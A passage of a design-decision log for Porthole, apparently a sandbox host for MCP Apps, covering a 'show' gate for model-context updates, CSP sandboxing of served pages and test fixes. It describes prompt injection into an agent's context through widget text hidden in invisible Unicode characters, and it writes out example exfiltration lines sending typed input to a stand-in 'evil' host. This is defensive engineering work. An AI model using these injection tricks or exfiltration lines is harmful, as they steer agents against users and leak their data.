|
+
`import a ` took 3.9 s). "1 MB in under 200 ms" said how busy the machine was (659 ms at load
|
|
4098
|
+
30). Now each adversarial text is linted as 1 MB and as sixteen 64 KB texts, each the fastest of
|
|
4099
|
+
three interleaved, and 1 MB must cost under eight times the sixteen: linear is about one
|
|
4100
|
+
(measured 0.2-1.3; at most 4.2 with three times more runnable threads than CPUs), quadratic
|
|
4101
|
+
sixteen (the scans from before the review: 9.6-16 already at 48 KB). Equal work on both sides
|
|
4102
|
+
makes a busy machine slow both alike; a CPU-time clock was the other way, but Linux reports a
|
|
4103
|
+
thread's CPU time in whole ticks here. Beside the ratio, a bound twenty times what a busy
|
|
4104
|
+
machine takes: each 1 MB under 3 s (the slowest 31 ms idle, 143 ms at load 52). It is six
|
|
4105
|
+
times the old case's work (9.6 s with 57 runnable threads on 16 CPUs), so its cap is a minute,
|
|
4106
|
+
not vitest's 5 s.
|
|
4107
|
+
3. **Which browsers keep a cookie in a cross-site frame is measured, not named** (the audit's four
|
|
4108
|
+
WebKit failures on macOS). P025 measured Playwright's WebKit on Linux: no cookie in a cross-site
|
|
4109
|
+
frame. The audit's macOS run of the same WebKit kept them: `served.url.framed` passed where it was
|
|
4110
|
+
expected to fail (the reference serving and the kit), the framed app `loaded` where `blocked:
|
|
4111
|
+
cookies` was expected, and the framed page's reload after revocation was `denied` (403,
|
|
4112
|
+
revoked) where `session` (401) was expected. The platform's cookie policy decides, not the
|
|
4113
|
+
engine's name. `keepsFramedCookies(page, scheme)` (`src/conformance/cookies.ts`, internal) asks
|
|
4114
|
+
the browser itself, once per browser: in a context of its own, a page on one made-up site frames
|
|
4115
|
+
one on another, both answered by routes (never the network, never the host under test), the
|
|
4116
|
+
frame's answer sets a cookie as Porthole's server sets a framed one (`Secure; SameSite=None;
|
|
4117
|
+
Partitioned`, over the display's scheme), and the frame reads whether it was kept. The framed
|
|
4118
|
+
case, the outcome case and the two mid-session revocation cases expect what it says; the one
|
|
4119
|
+
that skips (the framed app mid-session) skips only on WebKit, the one engine measured keeping
|
|
4120
|
+
none, and fails elsewhere if the probe says none, so a broken probe can't drop it. Nothing
|
|
4121
|
+
that protects is weaker: where the cookie is kept, revocation must deny the next request and the
|
|
4122
|
+
next load (403, revoked); where it isn't, the app must be `blocked: cookies` and the reload has
|
|
4123
|
+
no session (401); the ticket and tab cases deny a revoked subject on every browser. Measured
|
|
4124
|
+
here (Linux, Playwright 1.63): the probe says kept on Chromium and Firefox and not kept on
|
|
4125
|
+
WebKit, over http and https, as the framed app does (loaded; loaded; `blocked: cookies`). What a
|
|
4126
|
+
macOS run must show (`PORTHOLE_LEAK_ENGINES=webkit pnpm test:leak -g "served.url.framed|framed
|
|
4127
|
+
app|mid-session"`, with any system proxy bypassed for `*.localhost`): `served.url.framed` passes
|
|
4128
|
+
outright in the reference serving and the kit (not "expected to fail"), the outcome case is
|
|
4129
|
+
`loaded`, the framed app mid-session runs (not skipped) with its 403 and `[loaded, denied]`, and
|
|
4130
|
+
the framed page's reload is `denied` (403, revoked). If WebKit there takes the probe's
|
|
4131
|
+
route-made cookie otherwise than a network one, these fail against the framed app, and the probe
|
|
4132
|
+
moves to a loopback server of its own (as `conformance/oracles.ts` has).
|
|
4133
|
+
4. **Tests that waited a fixed time for something to happen now wait for it** (found looking over
|
|
4134
|
+
the suite; each a positive result read once after a sleep): the dialog's early press
|
|
4135
|
+
(`react.spec.ts`) is pressed as the dialog's buttons go in, before any timer can run, not after
|
|
4136
|
+
three checks that took longer than the 500 ms arming delay on a busy machine; a script asset
|
|
4137
|
+
(`runtime.spec.ts`) is read once its own `load` or `error` event says the attempt is over; the
|
|
4138
|
+
host's report of a stopped navigation (`live.spec.ts`) and the three refused fakes
|
|
4139
|
+
(`annotate.spec.ts`) are polled; the url-mode frame's `initialized` (`outcome.spec.ts`) is
|
|
4140
|
+
polled, since a blocked entry page can report before its load ends. None of these failed here
|
|
4141
|
+
(120 of 120 under 16 busy loops before the change); each read a positive result once, after a
|
|
4142
|
+
fixed wait shorter than its slowest path. The dialog's did fail on CI's WebKit (PRs #21 twice,
|
|
4143
|
+
#25; run 39362355564's trace): the click on Send found it unarmed (`data-armed="false"`), then
|
|
4144
|
+
waited 459 ms for it to be visible, enabled and stable, and pressed it about 530 ms after the
|
|
4145
|
+
dialog opened, armed by then (`ARM_DELAY_MS`, 500): the yes went, the dialog closed, and the
|
|
4146
|
+
next `toBeVisible` found nothing. The dialog was right; the test's press wasn't "the moment it
|
|
4147
|
+
opens". Now it is pressed from a mutation observer as the buttons go in, before any timer can
|
|
4148
|
+
run, and the case asserts it was unarmed then. Waits that bound an absence ("nothing reached the
|
|
4149
|
+
canary within N ms") stay: they can only pass wrongly, not fail.
|
|
4150
|
+
|
|
4151
|
+
**Threat it re-opens, and its bounds.** The wait: for up to `LATE_NOTICE_MS` after a load no
|
|
4152
|
+
notice explained, a files display holds its frame instead of starting it again at once, so a
|
|
4153
|
+
frame that did navigate away is started again up to 2 s later than before. Bounded, each with its test
|
|
4154
|
+
(`test/pages-of-set.test.ts`, the stand-in host in `test/files.test.ts`, `files.spec.ts`):
|
|
4155
|
+
- **Only this display's set ends a wait.** A notice is taken only from the frame's own window and
|
|
4156
|
+
content origin (the transport takes nothing else: another origin or label can't speak), and
|
|
4157
|
+
ends a wait only if it names the mounted artifact and version. A notice naming another version
|
|
4158
|
+
or artifact, an arriving page's that names none, or the new page's `ui/initialize` before any
|
|
4159
|
+
notice ends the wait at once: started again. A shell from before P098 (no version) is taken for
|
|
4160
|
+
a load still to come only, as P084 did; never to end a wait.
|
|
4161
|
+
- **No host access during the wait.** Everything the frame says is held, not delivered: no call
|
|
4162
|
+
is answered, no report, size, annotation or frame status taken; nothing the host sends goes to
|
|
4163
|
+
the frame. A notice for the mounted version delivers it all, in order; a restart drops it. At
|
|
4164
|
+
most `HELD_MOST` (1,000) messages each way are held: one more starts the display again.
|
|
4165
|
+
- **The wait always ends in a restart unless that notice comes.** Its deadline is the first
|
|
4166
|
+
waiting load's: more loads don't put it off. Nothing else clears it but the display's own stop.
|
|
4167
|
+
- **The guard's control still fails.** `navigate-guard` removes the guard's block, and with it the
|
|
4168
|
+
arriving page's notice: on all three engines the three link cases fail, with "opens nothing
|
|
4169
|
+
else", the sealed-address reports case and live.spec's four navigation cases (27 failures, as
|
|
4170
|
+
before plus the two new cases); no other control weakens the navigation guard.
|
|
4171
|
+
What stays the content's word, as in P084: content in a page of the same origin can send any
|
|
4172
|
+
notice, the version's included (its id and version aren't secret). Same-origin pages are one
|
|
4173
|
+
trust domain already (P082: an artifact's versions share an origin; a scope's pages share its
|
|
4174
|
+
storage); a notice only spares a restart, and P031's restart is not a wall (`frame-src` and the
|
|
4175
|
+
guard are). A page a reload opened in a files display now stays rather than starting the display
|
|
4176
|
+
again at its entry. A late copy of a notice for the page the frame is on is dropped, not banked.
|
|
4177
|
+
**Rejected.** Holding each navigation until the host acknowledges its notice (the shell cancels
|
|
4178
|
+
and re-issues it): a round trip on every page, and history traversals can't be re-issued as they
|
|
4179
|
+
were. A wait any page of the origin could end (no version): a page outside the set would delay or
|
|
4180
|
+
stop the restart. Dropping what the frame says during the wait instead of holding it: the
|
|
4181
|
+
arriving page's first requests would go unanswered. Retrying the case, or a longer `expect`
|
|
4182
|
+
timeout: the display had already started again. A
|
|
4183
|
+
CPU-time clock for the lint guard: tick-granular on this kernel (0 or 4 ms for a 1.4 ms run). The
|
|
4184
|
+
engine's name with a platform check (`process.platform === "darwin"`): the policy is the build's,
|
|
4185
|
+
and an adopter's browser (a branded Chrome, a WebKit with different settings) would be named
|
|
4186
|
+
wrong again.
|
|
4187
|
+
**Revisit when** Chromium orders a cross-process `postMessage` before a navigation the same task
|
|
4188
|
+
started (then `LATE_NOTICE_MS` only covers the arriving page's notice); when a browser Porthole
|
|
4189
|
+
supports blocks script-set or route-set cookies differently from network ones (the probe would
|
|
4190
|
+
then disagree with the framed app: the framed case says so by failing either way); or when the
|
|
4191
|
+
lint scans more than 2 MiB a file (the guard's 1 MB is under it).
|
|
4192
|
+
|
|
4193
|
+
## P100 · 2026-10-19 · What content tells the model, the person is shown first: the `show` gate, on by default for `setModelContext` · Accepted
|
|
4194
|
+
|
|
4195
|
+
The 2026-10-19 review's S5 (and S1's residual risk), its §5 P0.2 (baseline 264b12f; written on
|
|
4196
|
+
a92adac, rebased on e88e095, after P095). Before, a declared `setModelContext` (MCP Apps'
|
|
4197
|
+
`ui/update-model-context`) had one gate, 30 a minute: an inline widget, or a third party's MCP Apps
|
|
4198
|
+
view, could put any text and any content blocks (and, until P095, any object, cyclic ones
|
|
4199
|
+
included) into the model's next turns, with no gesture, no question and nothing shown to the
|
|
4200
|
+
person. `callTool`'s confirmation stops a view calling a tool;
|
|
4201
|
+
it doesn't stop the model calling one because the view told it to. And the manual called the
|
|
4202
|
+
update "tells you what the person is looking at": an invitation to trust it. The regressions:
|
|
4203
|
+
`test/model-context.test.ts` (12 of its 14 cases failed before; the two that held were the
|
|
4204
|
+
explicit opt-out and the MCP adapter's advertisement), the agreement test's new assertions (no
|
|
4205
|
+
manual line said "unconfirmed"), the leak probe `12.model-context`, and two cases in
|
|
4206
|
+
`leak/react.spec.ts`.
|
|
4207
|
+
|
|
4208
|
+
**Decision**:
|
|
4209
|
+
1. **A new gate, `show`.** The host's `show(request)` is handed the call's whole effect (a
|
|
4210
|
+
`ConfirmRequest`: the capability, its checked arguments, the display as the host named it)
|
|
4211
|
+
after every other gate, a `confirm`'s yes included, and before the handler. It asks nothing:
|
|
4212
|
+
the call goes once it returns, or its promise resolves. No `show` function refuses the call
|
|
4213
|
+
(`no-show`; content is told `not_allowed`), before anyone is asked anything; one that throws
|
|
4214
|
+
refuses it as `failed` (nobody saw it); a display stopped while it is shown (`close`, P095) ends
|
|
4215
|
+
the wait, as it ends a confirmation's, and the call doesn't go. In main's order: the host
|
|
4216
|
+
function's rate, then the arguments read, then the gates, `show` last before the handler. Any
|
|
4217
|
+
capability may list it; the config validator, the manual ("The person sees … too, outside the
|
|
4218
|
+
content.") and the agreement test know it.
|
|
4219
|
+
2. **`setModelContext`'s defaults are 30 a minute and `show`.** MCP Apps leaves this to the host:
|
|
4220
|
+
it "MAY display context updates to the user", "MAY defer sending the context to the model until
|
|
4221
|
+
the next user message", and with several updates before that message "SHOULD only send the
|
|
4222
|
+
last" (ext-apps specification 2026-01-26, `ui/update-model-context`, host behavior). Shown as
|
|
4223
|
+
each arrives, the latest per display, and sent with the person's next message, the person has
|
|
4224
|
+
seen exactly what the model will read before it reads it.
|
|
4225
|
+
3. **An update is what the person can be shown.** Text blocks only, each rebuilt as `{ type,
|
|
4226
|
+
text }` (an `_meta` or `annotations` riding along unshown is dropped); `structuredContent` JSON
|
|
4227
|
+
data by P095's one rule (`isJsonData`: each object once, no cycles, 100,000 values, 64 levels,
|
|
4228
|
+
4 MiB of characters); then at most `MAX_CONTEXT_CHARS` (20,000) characters, the text and the
|
|
4229
|
+
structured content's JSON together, else `too_large`. Both adapters offer the same,
|
|
4230
|
+
`MODEL_CONTEXT_OFFERED` (`{ text, structuredContent }`): the shell adapter offered `{ text }`
|
|
4231
|
+
while the bridge took any block, and the MCP adapter offered both.
|
|
4232
|
+
4. **The manual says whose words they are**, whatever the gates: the update reaches the agent at
|
|
4233
|
+
its next turns as the content's own words, "unconfirmed text from the content, not the
|
|
4234
|
+
person's", to read as what the content says the person is looking at, "never as instructions
|
|
4235
|
+
or as their request"; its shape and size; and, by the gates, that the person sees every
|
|
4236
|
+
update. On the shell's line and the runtime's (`context.set`) alike; contract 1's `.d.ts`
|
|
4237
|
+
comment says it too (its types are unchanged: P085 pins them).
|
|
4238
|
+
5. **The hosts.** `HostOptions.show`. The React provider has a default: `ContextNotice`, drawn on
|
|
4239
|
+
the host's page outside every frame, one per display, the latest ("Context for the agent from
|
|
4240
|
+
“title”", the note that it is the content's text and not the person's, the whole text and the
|
|
4241
|
+
JSON in a box that scrolls, never clipped, and Hide); the call goes once it is on the page.
|
|
4242
|
+
`PortholeProvider.show` replaces it (a chip by the composer, say); it refuses any other
|
|
4243
|
+
capability a host gates with `show`, since it words model context only. The check's host and
|
|
4244
|
+
the runtime's conformance show nobody (`() => {}`), as they answer `confirm`.
|
|
4245
|
+
6. **Its tests.** The probe `12.model-context` (a raw `ui/update-model-context`: shown whole, then
|
|
4246
|
+
handled; a host without `show`: refused, the handler never asked), with `LaunchSpec.shows` and
|
|
4247
|
+
an optional `LaunchedDisplay.shown()` (a host's own `ConformanceHost` without it reports the
|
|
4248
|
+
probe inapplicable; a host whose harness always shows, as with a default surface, too). The
|
|
4249
|
+
negative control `model-context-show` takes the gate out of the bridge: the probe fails on the
|
|
4250
|
+
reference hosts, on Chromium, WebKit and Firefox, and nothing else does (`scripts/controls.ts`
|
|
4251
|
+
runs it); both React cases fail too (measured on Chromium). The kit's harness is built from the
|
|
4252
|
+
unweakened sources, as for every control. DESIGN.md's table has the row.
|
|
4253
|
+
|
|
4254
|
+
7. **After the review of ab89241** (two medium findings, two low; each with its test first,
|
|
4255
|
+
failing before):
|
|
4256
|
+
- *Invisible characters* (medium). Tag characters (U+E0000–E007F), variation selectors,
|
|
4257
|
+
zero-width and bidi controls draw as nothing in a notice, and a model reads them: the notice
|
|
4258
|
+
showed "Weather: sunny" while the handler had a hidden instruction. An update is refused
|
|
4259
|
+
(`invalid`) if its text, or any string of its structured content, a value or a key, holds a
|
|
4260
|
+
format character (`\p{Cf}`), a variation selector (U+FE00–FE0F, U+E0100–E01EF), a
|
|
4261
|
+
private-use character, a lone surrogate, any default-ignorable code point
|
|
4262
|
+
(`\p{Default_Ignorable_Code_Point}`, after the re-check: U+034F, Mongolian's free variation
|
|
4263
|
+
selectors U+180B–180F, the Hangul fillers U+115F, U+1160, U+3164 and U+FFA0, Khmer's inherent
|
|
4264
|
+
vowels U+17B4–17B5 drew as nothing between Latin letters and passed), or a control other than
|
|
4265
|
+
`\n` and `\t`; the emoji and shaping allowances below are taken out first. Refused, not
|
|
4266
|
+
escaped: an escaped update reads to the model differently from what the person saw. The
|
|
4267
|
+
manual says so. Real emoji pass (the re-review: "Weather: ☀️" is ordinary widget text): U+FE0E
|
|
4268
|
+
or U+FE0F directly after an `\p{Extended_Pictographic}` character, or after a keycap base
|
|
4269
|
+
(`[0-9#*]`) that U+20E3 follows (tighter than "after a keycap base": a selector after a bare
|
|
4270
|
+
digit draws nothing and would hide a bit per digit); U+200D only between two pictographs, a
|
|
4271
|
+
U+FE0F or a skin tone after the first. Every other variation selector (U+FE00–FE0D,
|
|
4272
|
+
U+E0100–E01EF), a joiner anywhere else (between letters, in a run, first or last), and tag
|
|
4273
|
+
characters (U+E0000–E007F, subdivision flags such as 🏴 England's among them) stay refused.
|
|
4274
|
+
Joiners that shape letters pass too (refusing Persian and Indic text was too high a cost):
|
|
4275
|
+
U+200C or U+200D directly between two letters or marks (`[\p{L}\p{M}]`) of a script whose
|
|
4276
|
+
shaping they change, by Script_Extensions: Arabic, Syriac, N'Ko, Mongolian (the cursive
|
|
4277
|
+
scripts, where they break or make a join), Devanagari, Bengali, Gurmukhi, Gujarati, Oriya,
|
|
4278
|
+
Tamil, Telugu, Kannada, Malayalam, Sinhala and Myanmar (a conjunct, a half form, a ligature),
|
|
4279
|
+
after Unicode's notes on the joiners; anywhere else (between Latin or Greek letters, beside a
|
|
4280
|
+
space or a digit, first, last, doubled, between two scripts' letters) they are refused. Their
|
|
4281
|
+
bound, exactly: one of three at each letter boundary of those scripts (nothing, U+200C or
|
|
4282
|
+
U+200D), log2(3) ≈ 1.6 bits per boundary, between letters the person sees; where the letters
|
|
4283
|
+
join or form a conjunct it changes how they look, so it is seen; where they wouldn't (after an
|
|
4284
|
+
Arabic letter that never joins to the left, between consonants without a virama) it changes
|
|
4285
|
+
nothing, and those 1.6 bits are the hidden channel: never letters a model reads, as it reads
|
|
4286
|
+
tags. Tested: Persian with its non-joiner, Hindi with a joiner and a
|
|
4287
|
+
non-joiner, each script once; the misplacements above; 2,000 random strings, where every
|
|
4288
|
+
joiner that passes sits between two of those scripts' letters or marks. Atomic chillus
|
|
4289
|
+
replaced Malayalam's word-final joiner (Unicode 5.1); a joiner at a word's end is refused.
|
|
4290
|
+
**The emoji bound, exactly:** at most two hidden code points per pictograph: a selector choice
|
|
4291
|
+
(nothing, U+FE0E, U+FE0F) times a joiner after it or not, at most log2(6) ≈ 2.6 bits per
|
|
4292
|
+
pictograph (less in fact: a joiner after U+FE0E is refused, so five of the six); a keycap's
|
|
4293
|
+
selector choice, log2(3) ≈ 1.6 bits per keycap. Choice beside something the person sees,
|
|
4294
|
+
never characters a model reads as letters, as it reads tag characters. A hidden instruction of 40 letters would need hundreds of emoji in a
|
|
4295
|
+
row, in view, and a model that decodes a bit pattern it was never taught. Tested: 500 joined
|
|
4296
|
+
emoji pass with at most two hidden per visible; one more joiner or selector anywhere is
|
|
4297
|
+
refused; 2,000 strings drawn from emoji, letters, digits, selectors, joiners, keycaps and
|
|
4298
|
+
skin tones never pass with more than two hidden per visible emoji.
|
|
4299
|
+
- *A replaced update still went* (medium). React drew two updates of a display from one task in
|
|
4300
|
+
one render, the latest only, and its layout effect let both calls go: the handler had one the
|
|
4301
|
+
person never saw. The default `show` now resolves only when its own update is in the committed
|
|
4302
|
+
notice, and rejects one a later update of the display replaced first, or one whose notice the
|
|
4303
|
+
person hid before it was drawn; the call is refused (`failed`). The `Show` contract says a
|
|
4304
|
+
show resolves only once its own update is visible. Tested with two updates sent in one task.
|
|
4305
|
+
- *A long payload in a small box* (low). The notice's text box grows instead of scrolling at
|
|
4306
|
+
10em (a payload below blank lines was out of sight), and says its size ("412 characters, 3
|
|
4307
|
+
lines"); the stack of displays scrolls within the window and says so ("2 displays told the
|
|
4308
|
+
agent something: scroll to read them all"), so a later display never pushes an earlier one
|
|
4309
|
+
out of reach.
|
|
4310
|
+
- *A silent opt-out on upgrade* (low). A 0.7 config that named setModelContext's gates (to
|
|
4311
|
+
change the rate) loses `show` without saying so. `withoutShow: true` (`CapabilityConfig`) says
|
|
4312
|
+
the omission is deliberate; without it such gates earn a `ConfigWarning`
|
|
4313
|
+
(`model-context-unshown`), handed to `validateConfig(config, { onWarning })` and kept in
|
|
4314
|
+
`compile(config).warnings` (`host.compiled.warnings`), since library code logs nothing.
|
|
4315
|
+
`withoutShow` where `show` isn't left out (no gates named, or `show` among them, or a
|
|
4316
|
+
capability without it) is an error.
|
|
4317
|
+
|
|
4318
|
+
**API.** Additive: `Gate` gains `"show"`, `Refusal` gains `"no-show"`; `Show`, `HostOptions.show`,
|
|
4319
|
+
`MAX_CONTEXT_CHARS`, `CapabilityConfig.withoutShow`, `ConfigWarning`, `configWarnings`,
|
|
4320
|
+
`CompiledConfig.warnings`, `validateConfig`'s `onWarning`, `ContextNotice` (`contextText`,
|
|
4321
|
+
`contextSize`), `PortholeProvider.show` and `contextClassName`, `LaunchSpec.shows`,
|
|
4322
|
+
`LaunchedDisplay.shown?`. Behavior, deliberately: a host that declares `setModelContext` and
|
|
4323
|
+
passes no `show` (outside the React provider) has every update refused until it passes one or
|
|
4324
|
+
names its gates; an exhaustive `switch` over `Gate` or `Refusal` meets the new members; an update
|
|
4325
|
+
with an image block, structured content that isn't plain JSON, or an invisible character is
|
|
4326
|
+
refused as `invalid` (no host offered the first two; the person can't see the third).
|
|
4327
|
+
|
|
4328
|
+
**Threat it re-opens, where a host opts out.** `setModelContext: { gates: [{ rateLimit: {
|
|
4329
|
+
perMinute: 30 } }], withoutShow: true }` names the gates without `show`, and says it means to
|
|
4330
|
+
(without `withoutShow` it is warned of). Then content writes
|
|
4331
|
+
into the model's turns text nobody saw: a prompt injection that steers the model into tool calls
|
|
4332
|
+
or answers on the person's authority. What still bounds it: the rate; the shape and size (text
|
|
4333
|
+
blocks rebuilt, plain JSON, 20,000 characters); the manual, which tells the agent that the update
|
|
4334
|
+
is the content's unconfirmed text, never instructions (the agreement test's case "MCP Apps view,
|
|
4335
|
+
model context without the show gate (P100)" holds the manual to that without `show`); and the
|
|
4336
|
+
host's own wording of it in the model's turn (ADOPTING.md: the content's words, never the
|
|
4337
|
+
person's message). Opt out only where the handler itself puts the text in front of the person, or
|
|
4338
|
+
the content is the host's own.
|
|
4339
|
+
|
|
4340
|
+
**What stays open.** The visible-blank residual: characters that draw as a blank, not as
|
|
4341
|
+
nothing, pass (U+00A0, the spaces U+2000–200A, U+202F, U+205F, U+3000, the braille blank U+2800):
|
|
4342
|
+
each space in an update may be any of them, a few bits per space (log2 of about a dozen, under
|
|
4343
|
+
4), seen as a space, and read by a model as whitespace or nearly. Refusing them would refuse
|
|
4344
|
+
ordinary text (a no-break space in "10 km"); the bound is the length limit. Shown isn't read: a person may not look, or may not see an injection for what
|
|
4345
|
+
it is; the manual's words are the second wall. A host whose agent takes turns on its own (no next
|
|
4346
|
+
message to wait for) gives the person no time: it should add `confirm` (ADOPTING.md says so).
|
|
4347
|
+
Porthole doesn't word the update for the model; the host's prompt does. Images in model context
|
|
4348
|
+
aren't offered.
|
|
4349
|
+
|
|
4350
|
+
**Why `show`, not `consent` or `confirm`.**
|
|
4351
|
+
- `consent` (once per display) bounds who, not what: after one yes, every later update is unseen;
|
|
4352
|
+
and its answer is shared with the display's data reads, which is another question ("may this
|
|
4353
|
+
widget read your data?").
|
|
4354
|
+
- `confirm` (each update) bounds it, but stops the person at every update (views send them as the
|
|
4355
|
+
selection changes, up to 30 a minute), and declines mute the display.
|
|
4356
|
+
- `show` asks nothing and costs no click; the person sees exactly what the model will read, the
|
|
4357
|
+
latest per display, before their next message: the specification's own mitigation, made the
|
|
4358
|
+
default. A host that wants both adds `consent` or `confirm` to the gates.
|
|
4359
|
+
|
|
4360
|
+
**Rejected.**
|
|
4361
|
+
- An event the host may listen to: nothing would fail closed if it didn't.
|
|
4362
|
+
- Porthole wrapping the text for the model (an "untrusted" envelope): the model's prompt is the
|
|
4363
|
+
host's; the handler has the update and the display's title to word it.
|
|
4364
|
+
- Clipping what the notice shows (the copy toast's 280 characters, P052): an injection after the
|
|
4365
|
+
clip would go unseen; the notice scrolls, and the limit bounds it.
|
|
4366
|
+
- Changing contract 1's `context.d.ts` types to text blocks: its shapes are pinned (P085); its
|
|
4367
|
+
comment says text blocks only, and the bridge holds it.
|
|
4368
|
+
- Not opened upstream yet: an ext-apps issue suggesting hosts SHOULD display context updates, or
|
|
4369
|
+
attribute them to the view in the model's turn (builders here have no GitHub access).
|
|
4370
|
+
**Revisit when** MCP Apps says how hosts show or attribute context updates (follow it, and link
|
|
4371
|
+
the issue); a host needs image blocks (show them, then offer `image`); or a host's composer is the
|
|
4372
|
+
common surface (the React binding could offer a chip there).
|
|
4373
|
+
|
|
4374
|
+
## P099 · 2026-10-19 · A served page carries its frame's sandbox in its own CSP; on a tab the shell opens no window · Accepted
|
|
4375
|
+
|
|
4376
|
+
The 2026-10-19 review of value and scenarios, S4 and its first P0 (baseline 264b12f): a served
|
|
4377
|
+
page opened on a tab of its own (a public link, "open in a new tab", a bookmark, a frame's address
|
|
4378
|
+
opened outside it) had no sandbox. Its CSP had no `sandbox` directive, a tab has no frame
|
|
4379
|
+
attribute, and the shell left `window.open` alone, so after a visitor's click the page could send
|
|
4380
|
+
what they typed out in a window's address (`window.open("https://evil/?" + input)`), past
|
|
4381
|
+
`connect-src` and `form-action`; it could also navigate the page that opened it (reverse
|
|
4382
|
+
tabnabbing) and open a picture-in-picture document (Chromium, Firefox), a window of its origin in a
|
|
4383
|
+
fresh realm where the shell never ran (measured: `RTCPeerConnection` there, and `window.open`).
|
|
4384
|
+
P082 noted "on a tab (no sandbox there)" only between versions.
|
|
4385
|
+
|
|
4386
|
+
**Failing first.** At a92adac with only the new probes (`leak/served/tab.spec.ts`), 14 of 18
|
|
4387
|
+
failed: `served.domain.tab-window-open` on all three engines (`window.open` gave a window, the
|
|
4388
|
+
canary heard it), `.tab-opener` on all three (the opener was sent to the canary), the sealed address
|
|
4389
|
+
opened on a tab on all three (`window.open`; the link too on Chromium and Firefox), the file set's
|
|
4390
|
+
page on all three, `.tab-escapes` on Firefox (the link reached the canary) and Chromium (the click
|
|
4391
|
+
never settled), not on WebKit (Playwright's WebKit opened no window from a nested link click and
|
|
4392
|
+
started no download; the case then had no `prompt`, which now fails there too). `.tab-navigation`
|
|
4393
|
+
held on all three: the shell's guard (P079) already stops a tab navigating itself. With both new
|
|
4394
|
+
walls taken out again (`tab-sandbox,window-open`), the cases as committed fail 15 of 18, every case
|
|
4395
|
+
but `.tab-navigation`, on every engine. Measured then, on a tab: `documentPictureInPicture
|
|
4396
|
+
.requestWindow()` opened a window on Chromium and Firefox with `RTCPeerConnection` in it and
|
|
4397
|
+
`window.open` working (WebKit has no such API).
|
|
4398
|
+
|
|
4399
|
+
**Decision.**
|
|
4400
|
+
1. **Every served page sends its frame's sandbox in its CSP header**, on every request:
|
|
4401
|
+
`servedSandboxDirective(config)` is `sandbox` with the frame's own tokens (`sandboxTokens`),
|
|
4402
|
+
`sandbox allow-scripts allow-same-origin` for domain isolation, appended by `servedDocumentCsp`
|
|
4403
|
+
wherever `/server` writes a page's header: a shell, an artifact page, the MCP Apps sandbox
|
|
4404
|
+
proxy, a file set's page at its clean address or its sealed one. Not a script (a worker's
|
|
4405
|
+
policy is its script's; no window there), not another file (already `sandbox`, P081), not
|
|
4406
|
+
Porthole's own status pages, not a url-mode app's documents.
|
|
4407
|
+
- *On every request, not only `Sec-Fetch-Dest: document`* (the review's wording): in a frame the
|
|
4408
|
+
header's flags and the attribute's are the same, so nothing changes there; keyed on fetch
|
|
4409
|
+
metadata, a client that sends none (an older browser, an extension or proxy that strips it)
|
|
4410
|
+
would get an unsandboxed tab, and one address would have two answers to keep apart in caches.
|
|
4411
|
+
- *What it closes on a tab*: new windows (`window.open`, target=_blank links and forms), form
|
|
4412
|
+
submission (`form-action 'none'` was already a wall), downloads (where the engine honors
|
|
4413
|
+
`allow-downloads`), browser dialogs (`prompt` asks a visitor for anything, under the content
|
|
4414
|
+
origin's name; frames never had them), navigation of any other window (its opener's:
|
|
4415
|
+
the sandboxed navigation flag), pointer lock, presentation.
|
|
4416
|
+
- *What it can't close*: the page navigating itself. A sandboxed document may always navigate
|
|
4417
|
+
itself (HTML, "allowed by sandboxing to navigate": the source is the target), top-level too,
|
|
4418
|
+
and no CSP governs it (`navigate-to` was dropped). The shell's guard (P079) is that wall on a
|
|
4419
|
+
tab, as in a served frame (`served.domain.tab-navigation`, `served.domain.self-navigation`:
|
|
4420
|
+
the guard, unchanged here, holds both; `navigate-guard` fails both).
|
|
4421
|
+
- *Accepted limit: an engine without the Navigation API.* There the guard gets no events, and
|
|
4422
|
+
a page on a tab can navigate itself away with data in the address (`location =
|
|
4423
|
+
"https://evil/?" + input`): P079's fallback is the embedding page's `frame-src`, and a tab has
|
|
4424
|
+
no embedding page. The engines Porthole gates on (Chromium 153, WebKit 26.6, Firefox 155)
|
|
4425
|
+
have the API; older Safari and Firefox releases don't. There it can also go to a `blob:`
|
|
4426
|
+
document it wrote itself, of its own origin, where the shell never runs: its CSP carries
|
|
4427
|
+
over (HTML's policy container: the sandbox and `connect-src` with it), its
|
|
4428
|
+
`Permissions-Policy` doesn't, and none of
|
|
4429
|
+
the shell's walls are there. Measured with the guard out (`navigate-guard`), on all three
|
|
4430
|
+
engines: `RTCPeerConnection` there (a peer connection reaches the network outside
|
|
4431
|
+
`connect-src` where an engine ignores `webrtc 'block'`), location granted, the camera
|
|
4432
|
+
asked for (refused only for want of a device). No CSP directive closes it: none governs a
|
|
4433
|
+
document's own navigation (`frame-src` is a frame's, and a tab has none), and the page's
|
|
4434
|
+
`script-src` must keep `'unsafe-inline'` and `blob:`, which such a document inherits.
|
|
4435
|
+
`served.domain.tab-navigation` probes both (an outside site and a `blob:` document; the
|
|
4436
|
+
guard holds each on all three engines). Accepted: nothing else in a page can stop its own
|
|
4437
|
+
navigation (`Location` can't be wrapped), and a host that must cover such browsers shows
|
|
4438
|
+
public pages in its own frame, where `frame-src` holds (`blob:` is never in it).
|
|
4439
|
+
2. **`allow-same-origin`: needed, and safe there.**
|
|
4440
|
+
- *Needed*: without it the page is an opaque origin. Its own files' requests are then
|
|
4441
|
+
cross-site, so a tab's `SameSite=Lax` session cookie isn't sent and every file is refused; its
|
|
4442
|
+
module scripts are CORS requests from `Origin: null`, which Porthole answers without CORS; CORP
|
|
4443
|
+
`same-origin` refuses its files and `/_blob/` assets to it; the sealed address's renewal and
|
|
4444
|
+
its loads after the first hour need `Sec-Fetch-Site: same-origin` (P083); and its scope's
|
|
4445
|
+
storage (`served.domain.storage-scope`) is gone. The frame already runs with it.
|
|
4446
|
+
- *Safe*: the origin is the scope's own label on the content domain, a separate site from the
|
|
4447
|
+
host's (P047; `ContentDomainError` and the mount refuse otherwise). The danger of
|
|
4448
|
+
`allow-scripts` with `allow-same-origin` is a document lifting its own sandbox through a
|
|
4449
|
+
same-origin parent that holds the attribute; a CSP sandbox is a response header content
|
|
4450
|
+
can't change, and a tab has no parent. What the origin gives the page is what its frame has
|
|
4451
|
+
(its scope's storage, its own files); no other document's window is reachable from it (no
|
|
4452
|
+
popups, no frames: `frame-src 'none'` and the shell's frame guard; no navigation of another
|
|
4453
|
+
window; `openInTab` cuts the tab's opener itself). A sibling label stays another origin
|
|
4454
|
+
(P047's same-site caveat unchanged).
|
|
4455
|
+
3. **Every served page denies itself what its frame's `allow` doesn't grant**, in a
|
|
4456
|
+
`Permissions-Policy` header (`servedPermissionsPolicy`): each feature of `FRAME_DENIED_FEATURES`
|
|
4457
|
+
(the camera, the microphone, the screen, location, full screen, the clipboard, payment, USB,
|
|
4458
|
+
